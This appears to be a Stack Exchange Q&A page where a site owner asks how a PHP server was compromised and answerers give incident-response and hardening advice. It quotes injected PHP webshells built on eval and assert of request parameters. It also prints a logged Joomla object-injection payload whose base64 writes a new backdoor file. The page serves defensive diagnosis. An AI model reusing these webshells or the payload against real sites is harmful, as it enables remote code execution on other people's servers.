0

I have a server that currently has been hacked. Files are being created on my server which has content of this type:

if(isset($_REQUEST['oUS'])){/*PJEG*/eval($_REQUEST['oUS']);/*z*/exit;/*Lv*/}

Or like this:

<?php /*auV*/if/*fpFF*/(isset($_REQUEST['ufopf']))/*LpY*/{/*klY*/$P=/*OMca*/"assert";/*h*/$m=$P/*gN*/(/*N*/$_REQUEST['ufopf'])/*It*/;/*gSAI*/exit;/*W*/}?>

And others.

Also the same code has been injected on multiple other files that were already on the server.

I thought of two possibilites to determine who hacked me and from where:

First looked into the logs from the server(GET, POST requests) to see what came through, when, the IP from where the request was made etc. No success, couldn't find anything that would suggest who and how my server has been hacked. Could be through a form, could be anything...Any idea on how can I determine that?

Second thing I tried was to look into the FTP logs. Thought that someone gained access to it and uploaded those malware files. Again, there also was nothing to suggest that the files I see on my server were uploaded through FTP, because I couldn't find those files on the FTP logs.

Anyone can please suggest any other tips and tricks regarding this? How can I determine how those files were created or uploaded on the server? And how can I determine from where the requests from injected files came from?

If my question is offtopic, I will accept suggestions to delete it and post it somewhere else.

Server infos:

PHP Version 5.3.29

System: Linux server.myserver.com 3.10.0-327.4.5.el7.x86_64

Apache 2.0

UPDATE:

I've found some suspecting line that looks like this:

204.12.207.202 - - [13/Jul/2017:16:05:41 +0300] "GET / HTTP/1.1" 200 73776 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:216:\"eval(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2xseC5waHAnLCc4RDlBQUVFQzREOEU0NDM5Mjk5MDQ2QjhDREIzRjc4MiA8P3BocCBAZXZhbCgkX1BPU1RbInhpYW9iYWlmayJdKTsnKTs));JFactory::getConfig();exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\x9d\x8c\x86"
Improve this question
1
  • The line in your update indicates someone is trying to inject code via the user-agent string; they're trying to compromise Apache itself. You don't have good enough logging to be able to do any sort of analysis. At this point your best bet would be to scrutinize all your forms and make sure you're properly sanitizing user inputs. If you're using Wordpress, your template is likely insecure.
    – Ivan
    Commented Jul 20, 2017 at 19:42

3 Answers 3

Reset to default
1

To begin with you can try and check the timestamp of those files. You might be looking at more than one infection; if your site is vulnerable and has been scanned by X different bots all looking for the same vulnerability, you might have as many different scripts hacked by different sources.

Then check what requests came at around that time or very few seconds before, and see whether you detect any pattern.

As a good practice, the user running the Web server (be it apache, daemon, nobody, or www) should not have write permissions on any web directory except temporary upload and sessions; and files deposited there should not be reachable (e.g. with a read-only .htaccess file in the same directory denying access to that directory and all its subdirectories).

Improve this answer
2
  • Hello. Thank you for your answer. I've looked into the files, checked the dates and I came across something I suspect is at least a try to breach the system if not even success. I've updated my question with one line at the end. I've found two of them on the server logs. The permissions are 644
    – Ionut Necula
    Commented Jul 20, 2017 at 13:40
  • I forgot to mention, the 644 permissions are only for files, for directories is 755
    – Ionut Necula
    Commented Jul 20, 2017 at 13:46
0

There is no way way to determine who did it as they would be covering tracks and you would have a dummy or false Ip, one thing looks though that attack vector is browser as its php page data , you can try to replay the request and see what and how was injected. Cannot say a lot without full logs or details.

Improve this answer
1
  • Thank you for your answer. I've updated my question with one line. I've found two of them on the server logs. That came across as suspicios to me. It's not that important to know who hacked my webserver as much as finding how did he do it or how to prevent it from doing it in the future.
    – Ionut Necula
    Commented Jul 20, 2017 at 13:41
0

If you are using Linux then just try to netstat to look what's the connection is establishing as well as your server is listening to. With small php code you provided, I don't think this is the encoded php shells. Backdoor files would be more accurate in this case, because it does have (isset($_REQUEST['oUS']) means if request ouS variable exists then doing something. After using netstat to see what's going on, if you don't see anything weird, then could be this is already controlled by attackers which means they can re-connection whenever they want. What we can do?. You can track them out if you know your system well enough by looking at the processes ( HTOP in Linux for instance ), to determine those suspicious processes and its location.

So, in order to optimize the confidentiality in this case, you should think about re-setting up permission for the files/sub-files/directories are being infected. An moreover, using iptables to lock all the ports you are not using to obstruct the connection from attackers. You should have a quick scan on the directories you think there is ability for attackers to upload.

P/s: would be nice if you provide your OS information. ( I see it now )

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .